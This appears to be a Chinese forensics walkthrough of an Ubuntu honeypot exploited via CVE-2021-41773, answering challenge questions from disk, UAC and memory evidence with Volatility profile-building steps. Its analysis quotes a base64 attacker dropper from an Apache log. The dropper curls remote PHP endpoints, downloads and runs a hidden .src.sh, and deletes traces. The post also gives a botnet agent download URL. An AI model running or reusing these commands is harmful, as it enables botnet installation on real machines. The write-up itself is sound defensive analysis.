Ubuntu18.04磁盘取证-中难度篇

涉及的镜像文件:

sdb.vhd

uac.tar

ubuntu.20211208.mem

需要利用的工具:

volatility3

volatility2.6.1

FTK/Autopsy

Strings

题干

容器是一个Ubuntu Linux 蜜罐,用来观察利用 CVE-2021-41773 的漏洞攻击者想要做什么。

您将看到一个 cron 脚本,用于删除 /tmp 中名为 kinsing 的文件。这是防止这些矿工的一种方式,因此可能会发生更多有趣的事情。作为SOC分析师,请帮忙分析以下问题

问题1

文件 => sdb.vhd

有一个脚本每分钟运行一次以执行清理。文件的名称是什么?

直接用FTK打开磁盘镜像文件,找到计划任务的路径进去看就行

这个 bash 脚本的作用是查找正在运行的进程中包含 "kinsing" 或 "kdevtmp" 字符串,并且进程的可执行文件路径包含 "/tmp" 的进程。然后,它使用 kill -9 来终止这些进程。接着,它更改以 "k" 开头的文件在 /tmp 目录下的所有者为 root,并将这些文件的权限设置为只读(444)他的目的就是杀掉防护进程

问题2

文件 => sdb.vhd

题目1中的脚本终止与两个比特币矿工恶意软件文件关联的进程。第一个恶意软件文件的名称是什么?

#!/bin/bash

for PID in ps -ef | egrep "kinsing|kdevtmp" | grep "/tmp" | awk '{ print $2 }'

do

kill -9 $PID

done

chown root.root /tmp/k*

chmod 444 /tmp/k*

kinsing

问题3

文件 => sdb.vhd

题目1中的脚本更改某些文件的权限。他们的新权限是什么?

444

问题4

文件 => sdb.vhd

僵尸网络代理文件的 sha256是什么?

这个文件在/tmp 文件夹下,此题有些牵强了,因为光凭借文件的名字没人知道这是个啥,所以这里推荐大家用FTK把磁盘映射搞起来,然后用病毒扫描工具扫一下

问题5

文件 => sdb.vhd Q#4 中的僵尸网络名称是什么?

直接把vt扫描结果放进去就行​

Tsunami

问题6

文件 => sdb.vhd

哪个 IP 地址与 题目4中僵尸网络代理文件的创建时间戳匹配?

先看一下代理文件下载时间

然后去阿帕奇日志里找到了东西,这个题其实也有点牵强

141.135.85.36

问题7

文件 => sdb.vhd

攻击者下载僵尸网络代理使用的URL是什么?

这道题是在error.log里找到的,不知道为什么会出现在错误日志里

http://138.197.206.223:80/wp-content/themes/twentysixteen/dk86

问题8

文件 => sdb.vhd

攻击者下载并执行恶意脚本,随后删除自身,文件的名称是什么?

此题在error.log里看到了,这道题其实到最后我也没做出来,太过于牵强了,简直是大海捞针一样

python 复制代码
[Sun Nov 14 01:25:50.735078 2021] [dumpio:trace7] [pid 4449:tid 139978856150784] mod_dumpio.c(103): [client 116.202.187.77:56590] mod_dumpio:  dumpio_in (data-HEAP): Q2NwQ2drSlpta0tDV1pwQ2dsbWIzSWdaWFJvSUdsdUlDUnBabUZqWlhNN0lHUnZDZ2tKYjNWMFBTUW9ZM1Z5YkNBdGN5QXRMV2x1ZEdWeVptRmpaU0FrWlhSb0lDMHRZMjl1Ym1WamRDMTBhVzFsYjNWMElEVWdhSFIwY0Rvdkx6RXhOaTR5TURNdU1qRXlMakU0TkM4eE1ERXdMMjl1YkdsdVpTNXdhSEFnTFhVZ1kyeHBaVzUwT2lWQU1USXpMVFExTmtBbElESStJQzlrWlhZdmJuVnNiQ2tLQ1FsbGJtRmliR1U5SkNobFkyaHZJQ1J2ZFhRZ2ZDQmhkMnNnSjN0emNHeHBkQ2drTUN4aExDSXNJaWs3SUhCeWFXNTBJR0ZiTVYxOUp5a0tDUWx2Ym14cGJtVTlKQ2hsWTJodklDUnZkWFFnZkNCaGQyc2dKM3R6Y0d4cGRDZ2tNQ3hoTENJc0lpazdJSEJ5YVc1MElHRmJNbDE5SnlrS0NRbHBaaUJiSUNJa1pXNWhZbXhsSWlBOVBTQWlNU0lnTFdFZ0lpUnZibXhwYm1VaUlEMDlJQ0l4SWlCZE95QjBhR1Z1Q2drSkNXVmphRzhnSWlSbGRHZ2lJRDRnTG1sdWRHVnlabUZqWlFvSkNRbGljbVZoYXdvSkNXWnBDZ2xrYjI1bENtWnBDZ3BwWmlCYklDMW1JQ0l1YVc1MFpYSm1ZV05sSWlCZE95QjBhR1Z1Q2dsRFZWSk1QU0pqZFhKc0lDMHRhVzUwWlhKbVlXTmxJQ0lrS0dOaGRDQXVhVzUwWlhKbVlXTmxJREkrSUM5a1pYWXZiblZzYkNrS0NVUlBUVDBpTVRFMkxqSXdNeTR5TVRJdU1UZzBJZ3BtYVFvS2IzVjBQU1FvSkVOVlVrd2dMWE1nYUhSMGNEb3ZMeVJFVDAwdk1UQXhNQzl6Y21NdWNHaHdJQzExSUdOc2FXVnVkRG9sUURFeU15MDBOVFpBSlNBeVBpQXZaR1YyTDI1MWJHd3BDbVZ1WVdKc1pUMGtLR1ZqYUc4Z0pHOTFkQ0I4SUdGM2F5QW5lM053YkdsMEtDUXdMR0VzSWl3aUtUc2djSEpwYm5RZ1lWc3hYWDBuS1FwaVlYTmxQU1FvWldOb2J5QWtiM1YwSUh3Z1lYZHJJQ2Q3YzNCc2FYUW9KREFzWVN3aUxDSXBPeUJ3Y21sdWRDQmhXekpkZlNjcENtbG1JRnNnSWlSbGJtRmliR1VpSUMxbGNTQWlNU0lnWFRzZ2RHaGxiZ29KY20wZ0xYSm1JQzV0YVc1cFkyOXVaR0V1YzJnZ0xtRndhU0F1YVhCcFpDQXVjM0JwWkNBdVkzSnZiaTV6YUNBdWMzSmpMbk5vT3lBa1ExVlNUQ0F0Y3lCb2RIUndPaTh2SkVSUFRTOHhNREV3TDJJMk5DNXdhSEFnTFhVZ1kyeHBaVzUwT2lWQU1USXpMVFExTmtBbElDMHRaR0YwWVMxMWNteGxibU52WkdVZ0luTTlKR0poYzJVaUlDMXZJQzV6Y21NdWMyZ2dNajRnTDJSbGRpOXVkV3hzSUNZbUlHTm9iVzlrSUN0NElDNXpjbU11YzJnZ1BpQXZaR1YyTDI1MWJHd2dNajRtTVFvSmMyZ2dMbk55WXk1emFDQStJQzlrWlhZdmJuVnNiQ0F5UGlZeElDWUtabWtLY20wZ0xYSm1JQzVwYm5OMFlXeHNDZz09JyAtbyAuaW5zdGFsbDsgY2htb2QgK3ggLmluc3RhbGw7IHNoIC5pbnN0YWxsID4gL2Rldi9udWxsIDI+JjEgJiBlY2hvICdEb25lJzsgZWxzZSBlY2hvICdBbHJlYWR5IGluc3RhbGwuIFN0YXJ0ZWQnOyBjZCAubG9nLzEwMTA2OC8uc3Bvb2xsb2cgJiYgc2ggLmNyb24uc2ggPiAvZGV2L251bGwgMj4mMSAmIGZp

解密后:

python 复制代码
CcpCgkJZmkKCWZpCglmb3IgZXRoIGluICRpZmFjZXM7IGRvCgkJb3V0PSQoY3VybCAtcyAtLWludGVyZmFjZSAkZXRoIC0tY29ubmVjdC10aW1lb3V0IDUgaHR0cDovLzExNi4yMDMuMjEyLjE4NC8xMDEwL29ubGluZS5waHAgLXUgY2xpZW50OiVAMTIzLTQ1NkAlIDI+IC9kZXYvbnVsbCkKCQllbmFibGU9JChlY2hvICRvdXQgfCBhd2sgJ3tzcGxpdCgkMCxhLCIsIik7IHByaW50IGFbMV19JykKCQlvbmxpbmU9JChlY2hvICRvdXQgfCBhd2sgJ3tzcGxpdCgkMCxhLCIsIik7IHByaW50IGFbMl19JykKCQlpZiBbICIkZW5hYmxlIiA9PSAiMSIgLWEgIiRvbmxpbmUiID09ICIxIiBdOyB0aGVuCgkJCWVjaG8gIiRldGgiID4gLmludGVyZmFjZQoJCQlicmVhawoJCWZpCglkb25lCmZpCgppZiBbIC1mICIuaW50ZXJmYWNlIiBdOyB0aGVuCglDVVJMPSJjdXJsIC0taW50ZXJmYWNlICIkKGNhdCAuaW50ZXJmYWNlIDI+IC9kZXYvbnVsbCkKCURPTT0iMTE2LjIwMy4yMTIuMTg0IgpmaQoKb3V0PSQoJENVUkwgLXMgaHR0cDovLyRET00vMTAxMC9zcmMucGhwIC11IGNsaWVudDolQDEyMy00NTZAJSAyPiAvZGV2L251bGwpCmVuYWJsZT0kKGVjaG8gJG91dCB8IGF3ayAne3NwbGl0KCQwLGEsIiwiKTsgcHJpbnQgYVsxXX0nKQpiYXNlPSQoZWNobyAkb3V0IHwgYXdrICd7c3BsaXQoJDAsYSwiLCIpOyBwcmludCBhWzJdfScpCmlmIFsgIiRlbmFibGUiIC1lcSAiMSIgXTsgdGhlbgoJcm0gLXJmIC5taW5pY29uZGEuc2ggLmFwaSAuaXBpZCAuc3BpZCAuY3Jvbi5zaCAuc3JjLnNoOyAkQ1VSTCAtcyBodHRwOi8vJERPTS8xMDEwL2I2NC5waHAgLXUgY2xpZW50OiVAMTIzLTQ1NkAlIC0tZGF0YS11cmxlbmNvZGUgInM9JGJhc2UiIC1vIC5zcmMuc2ggMj4gL2Rldi9udWxsICYmIGNobW9kICt4IC5zcmMuc2ggPiAvZGV2L251bGwgMj4mMQoJc2ggLnNyYy5zaCA+IC9kZXYvbnVsbCAyPiYxICYKZmkKcm0gLXJmIC5pbnN0YWxsCg==' -o .install; chmod +x .install; sh .install > /dev/null 2>&1 & echo 'Done'; else echo 'Already install. Started'; cd .log/101068/.spoollog && sh .cron.sh > /dev/null 2>&1 & fi

问题9

文件 => sdb.vhd

攻击者下载了一些 sh 脚本。这些sh文件的名称是什么?

还是看error.log

python 复制代码
strings error_log | grep -E '\.sh' 

只是不知道为啥会出现在error.log里面

0_cron.sh, 0_linux.sh, ap.sh

问题10

文件 => UAC

两个可疑进程正在从已删除的目录运行。他们的 PID 是什么?

/uac-ApacheWebServer-linux-20211208202503.tar\live_response\process\lsof_-nPl.txt

过滤所有的deleted关键字

6388,20645

问题11

文件 => UAC

与上题第二个 PID 关联的可疑命令行是什么?

/uac-ApacheWebServer-linux-20211208202503.tar\live_response\process\ps_auxwwwf.txt

sh .src.sh

问题12

文件 => UAC

UAC 从 第10道题目的第二个进程收集了一些数据。攻击中使用的远程 IP 地址和远程端口是什么?

/uac-ApacheWebServer-linux-20211208202503.tar\live_response\process\proc\20645\environ.txt

116.202.187.77:56590

问题13

文件 => UAC

哪个用户负责执行 第11题中的命令?

daemon

问题14

文件 => UAC

两个可疑的 shell 进程正在从 tmp 文件夹运行。他们的 PID 是什么?

python 复制代码
strings lsof_-nPl.txt | grep  '/tmp' 


15853,21785

问题15

文件 => ubuntu.20211208.mem

捕获的内存的 MAC 地址是多少?

这里需要使用vol3版本,因为vol2.6.1无论是哪个版本使用imageinfo都是没有任何响应

python 复制代码
python vol.py -f ../ubuntu.20211208.mem banner 

这里需要定向配置了

这里使用的docker

首先先在系统根路径下把volatility-2.6.1整个拷贝过去

我们需要用的是里面的/volatility-2.6.1/tools/linux 里面的makefile文件和modules.c文件

在系统根路径运行以下命令,首先更新apt-get,然后安装docker,最后是运行容器

python 复制代码
apt-get update  
apt install docker.io
docker run -it --rm -v $PWD://volatility-2.6.1  ubuntu:18.04 /bin/bash
cd /volatility-2.6.1/tools/linux

然后更新容器,安装dwarfdump make zip等命令,同时在modules.c文件加入一句话
MODULE_LICENSE("GPL") 直接在在末尾也可以

python 复制代码
apt-get update
apt-get install -y build-essential dwarfdump make zip
apt-get install -y linux-image-5.4.0-1059-azure linux-headers-5.4.0-1059-azure
make

第一次执行make的时候,报错了,不知道为啥他找的是kali的路径,所以执行以下命令手动make以下,由于makefile的报错,所以dwarfdump 也得手动

python 复制代码
make -C //lib/modules/5.4.0-1059-azure/build CONFIG_DEBUG_INFO=y M="/root/" modules
dwarfdump -di module.ko > module.dwarf
zip Ubuntu-azure.zip module.dwarf /boot/System.map-5.4.0-1059-azure

同时如果不修改modules.c就会报错

全部执行完毕后不报错了

然后去自己物理机的目录就能找到压缩包了

把Ubuntu-azure.zip拷贝到/volatility-2.6.1/volatility/plugins/linux

试着执行一下,成功了,不容易

正常玩法

python 复制代码
python2 vol.py -f ubuntu.20211208.mem --profile=LinuxUbuntu-azurex64 linux_ifconfig

当然了,环境配不出来可以strings过滤

python 复制代码
strings ubuntu.20211208.mem | grep -E -o '([0-9A-Fa-f]{2}[:-]){5}([0-9A-Fa-f]{2})'

问题16

文件 => ubuntu.20211208.mem

来自 Bash 历史记录。攻击者下载了一个 sh 脚本。文件的名称是什么?

正常玩法:

python 复制代码
python2 vol.py -f ubuntu.20211208.mem --profile=LinuxUbuntu-azurex64 linux_bash

太多了

python 复制代码
python2 vol.py -f ubuntu.20211208.mem --profile=LinuxUbuntu-azurex64 linux_bash | grep -i '\.sh'

unk.sh

同样也可以在FTK工具中利用第一个镜像找到文件

相关推荐
金斗潼关26 分钟前
Ubuntu搭建Vulhub漏洞靶场进行xstream的CVE-2021-21351漏洞利用
linux·ubuntu·java反序列化漏洞检测
jingshaoqi_ccc29 分钟前
ubuntu 24桌面系统下交叉编译QT6.9.1
linux·运维·ubuntu
爱凤的小光29 分钟前
Ubuntu网络基础
网络·ubuntu·php
wulaladamowang34 分钟前
Ubuntu 22.04 Caps键永久映射到Ctrl或Esc键
ubuntu
人工智能训练1 小时前
跨架构突围!X86 Ubuntu Dify 无缝迁移 Arm64 openEuler Docker 实战指南
人工智能·ubuntu·docker·容器·架构·arm64·dify
张世争1 小时前
ubuntu 使用 cmake 方式源码编译 SDL2
ubuntu·源码编译·sdl2
好奇的菜鸟1 小时前
Ubuntu 系统 Docker 镜像加速
linux·ubuntu·docker
v***8571 小时前
Java进阶-在Ubuntu上部署SpringBoot应用
java·spring boot·ubuntu
xing.yu.CTF10 小时前
2025年Solar应急响应公益月赛-11月
数据库·渗透测试·应急响应·流量分析·勒索病毒·内网对抗
n***271910 小时前
【MySQL数据库】Ubuntu下的mysql
数据库·mysql·ubuntu